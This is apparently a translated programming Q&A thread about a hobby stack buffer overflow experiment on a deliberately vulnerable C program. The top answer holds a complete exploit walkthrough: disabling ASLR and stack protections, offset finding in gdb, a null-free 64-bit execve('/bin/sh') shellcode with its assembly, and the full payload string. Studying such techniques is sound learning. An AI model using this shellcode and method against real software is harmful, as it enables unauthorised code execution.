4

为了好玩,我正在尝试做一些缓冲区溢出的实验。我在这个论坛上阅读该主题,并尝试编写自己的小代码。

所以我所做的是一个小的“C”程序,它接受字符参数并运行直到分段错误。

所以我提供参数,直到我收到一条消息,我用“A”覆盖了返回地址,即 41。我复制输入字符串的缓冲区字符长度是 [5]。

这是我在 gdb 中所做的。

run $(perl -e 'print "A"x32  ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d

然后我发现覆盖需要 16 个“A”。

run $(perl -e 'print "A"x16 . "C"x8 . "B"x32   ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
) 

这告诉我们 8 个“C”正在覆盖返回地址。

根据在线教程,如果我提供有效地址而不是 8“C”。我可以跳转到某个地方并执行代码。所以我在最初的 16 个“A”之后超载了内存。

下一步是执行

run $(perl -e 'print "A"x16 . "C"x8 . "B"x200   ; ')

rax            0x0      0
rbx            0x3a0001bbc0     249108216768
rcx            0x3a00552780     249113683840
rdx            0x3a00553980     249113688448
rsi            0x42     66
rdi            0x2af9e57710e0   47252785008864
rbp            0x4343434343434343       0x4343434343434343
rsp            0x7fffb261a2e8   0x7fffb261a2e8
r8             0xffffffff       4294967295
r9             0x0      0
r10            0x22     34
r11            0xffffffff       4294967295
r12            0x0      0
r13            0x7fffb261a3c0   140736186131392
r14            0x0      0
r15            0x0      0
rip            0x400516 0x400516 <main+62>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
mxcsr          0x1f80   [ IM DM ZM OM UM PM ]

在 $rsp 之后检查内存 200 字节后,我找到了一个地址,然后执行了以下操作:

run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"   ; ')

然而,这并没有做任何事情。如果有人能告诉我我做错了什么,我将不胜感激。

4

3 回答 3

10

首先确保您更改了 randomize_va_space。在 Ubuntu 上,您将以 root 身份运行以下命令
echo 0 > /proc/sys/kernel/randomize_va_space

接下来确保您正在编译没有堆栈粉碎保护的测试程序并设置内存执行位。使用以下 gcc 选项编译它以完成
-fno-stack-protector -z execstack

此外,我发现我需要更多空间来实际执行 shell,所以我会将缓冲区更改为更像缓冲区 [64]

接下来就可以在gdb中运行app并获取需要返回的栈地址
首先在strcpy之后设置断点

(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040057c <+0>: push   %rbp
   0x000000000040057d <+1>: mov    %rsp,%rbp
   0x0000000000400580 <+4>: sub    $0x50,%rsp
   0x0000000000400584 <+8>: mov    %edi,-0x44(%rbp)
   0x0000000000400587 <+11>:    mov    %rsi,-0x50(%rbp)
   0x000000000040058b <+15>:    mov    -0x50(%rbp),%rax
   0x000000000040058f <+19>:    add    $0x8,%rax
   0x0000000000400593 <+23>:    mov    (%rax),%rdx
   0x0000000000400596 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040059a <+30>:    mov    %rdx,%rsi
   0x000000000040059d <+33>:    mov    %rax,%rdi
   0x00000000004005a0 <+36>:    callq  0x400450 <strcpy@plt>
   0x0000000000**4005a5** <+41>:    lea    -0x40(%rbp),%rax
   0x00000000004005a9 <+45>:    mov    %rax,%rsi
   0x00000000004005ac <+48>:    mov    $0x400674,%edi
   0x00000000004005b1 <+53>:    mov    $0x0,%eax
   0x00000000004005b6 <+58>:    callq  0x400460 <printf@plt>
   0x00000000004005bb <+63>:    mov    $0x0,%eax
   0x00000000004005c0 <+68>:    leaveq 
   0x00000000004005c1 <+69>:    retq   
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5

然后运行应用程序并在断点处获取 rax 寄存器地址。

(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`

Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax            0x7fffffffe030   140737488347136
rbx            0x0  0
rcx            0x4141414141414141   4702111234474983745
rdx            0x41 65
rsi            0x7fffffffe490   140737488348304
rdi            0x7fffffffe077   140737488347255
rbp            0x7fffffffe040   0x7fffffffe040
rsp            0x7fffffffdff0   0x7fffffffdff0
r8             0x7ffff7dd4e80   140737351863936
r9             0x7ffff7de9d60   140737351949664
r10            0x7fffffffdd90   140737488346512
r11            0x7ffff7b8fd60   140737349483872
r12            0x400490 4195472
r13            0x7fffffffe120   140737488347424
r14            0x0  0
r15            0x0  0
rip            0x4005a5 0x4005a5 <main+41>
eflags         0x206    [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

接下来确定您的最大缓冲区大小。我知道 64 的缓冲区在 72 字节处崩溃,所以我将从那个开始。你可以使用类似 metasploits 模式的方法来给你这个,或者只是通过运行应用程序的试验和错误来找出确切的字节在获得段错误或组成自己的模式之前计算它需要的时间,并像使用 metasploit 模式选项一样匹配 rip 地址。

接下来,有许多不同的方法可以获取您需要的有效负载,但由于我们运行的是 64 位应用程序,因此我们将使用 64 位有效负载。我编译了 C,然后从 gdb 中获取了 ASM,然后通过将 mov 指令更改为 xor 为空值,然后 shl 和 shr 将它们从 shell 命令中删除,进行了一些更改以删除 \x00 字符。我们稍后会展示这一点,但现在有效负载如下。

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

我们这里的有效负载是 48 字节,所以我们有 72 - 48 = 24

我们可以用 \x90 (nop) 填充有效载荷,这样指令就不会被中断。我将在有效载荷的末尾添加 2,在开头添加 22。另外,我将反向添加我们想要结束的返回地址,给出以下内容..

`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`

现在,如果您想在 gdb 之外运行它,您可能不得不对返回地址进行修改。在我的情况下,地址在 gdb 之外变为 \x70\xe0\xff\xff\xff\x7f。我只是增加了它,直到它通过去 40 然后 50 然后 60 然后 70 ..

测试应用源

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char name[64];

  strcpy(name, argv[1]);
  printf("Arg[1] is :%s\n", name);

  return 0;
}

这是 C 中的有效载荷

#include <stdlib.h>

int main()
{
  execve("/bin/sh", NULL, NULL);
}

ASM 中的有效载荷将构建和运行

int main() {
  __asm__(
    "mov    $0x0,%rdx\n\t"                // arg 3 = NULL
    "mov    $0x0,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x0068732f6e69622f,%rdi\n\t"
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack pointer = start of /bin/sh
    "mov    $0x3b,%rax\n\t"               // syscall number = 59
    "syscall\n\t"
  );
}

并且由于我们不能使用 \x00 我们可以更改为 xor 值并进行一些花哨的转换以删除 mov 设置 /bin/sh 的错误值

int main() {
  __asm__(
    "xor    %rdx,%rdx\n\t"                // arg 3 = NULL
    "mov    %rdx,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x1168732f6e69622f,%rdi\n\t"
    "shl    $0x8,%rdi\n\t"                
    "shr    $0x8,%rdi\n\t"                // first byte = 0 (8 bits)
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of /bin/sh
    "mov    $0x111111111111113b,%rax\n\t" // syscall number = 59
    "shl    $0x38,%rax\n\t"         
    "shr    $0x38,%rax\n\t"               // first 7 bytes = 0 (56 bits)
    "syscall\n\t"
  );
}

如果您编译该有效负载,请在 gdb 下运行它,您可以获得所需的字节值,例如

(gdb) x/bx main+4
0x400478 <main+4>:  0x48
(gdb) 
0x400479 <main+5>:  0x31
(gdb) 
0x40047a <main+6>:  0xd2
(gdb)

或者通过做类似的事情来得到它

(gdb) x/48bx main+4
0x4004f0 <main+4>:  0x48    0x31    0xd2    0x48    0x89    0xd6    0x48    0xbf
0x4004f8 <main+12>: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x11
0x400500 <main+20>: 0x48    0xc1    0xe7    0x08    0x48    0xc1    0xef    0x08
0x400508 <main+28>: 0x57    0x48    0x89    0xe7    0x48    0xb8    0x3b    0x11
0x400510 <main+36>: 0x11    0x11    0x11    0x11    0x11    0x11    0x48    0xc1
0x400518 <main+44>: 0xe0    0x38    0x48    0xc1    0xe8    0x38    0x0f    0x05
于 2013-06-12T19:20:40.677 回答
0

那么对于初学者来说......您是否完全确定堆栈上的地址是返回指针而不是指向某处的数据结构或字符串的指针?如果是这种情况,它将使用该地址而不是字符串,并且最终可能什么都不做:)

因此,请检查您的函数是否使用局部变量,因为它们在返回地址之后被放入堆栈。希望这会有所帮助^_^ 祝你好运!

于 2013-03-20T20:25:54.033 回答
0

我对 x64 的使用不多,但快速浏览一下说你有 16 个字节直到 rip overwrite。而不是 \x90 尝试 \xCC 来查看是否发生了受控代码重定向,如果它有 gdb 应该命中(降落在 \xCC 池中)\xCC 并暂停(\xCC 在某种程度上是“硬编码”断点)。

于 2013-03-21T16:49:01.993 回答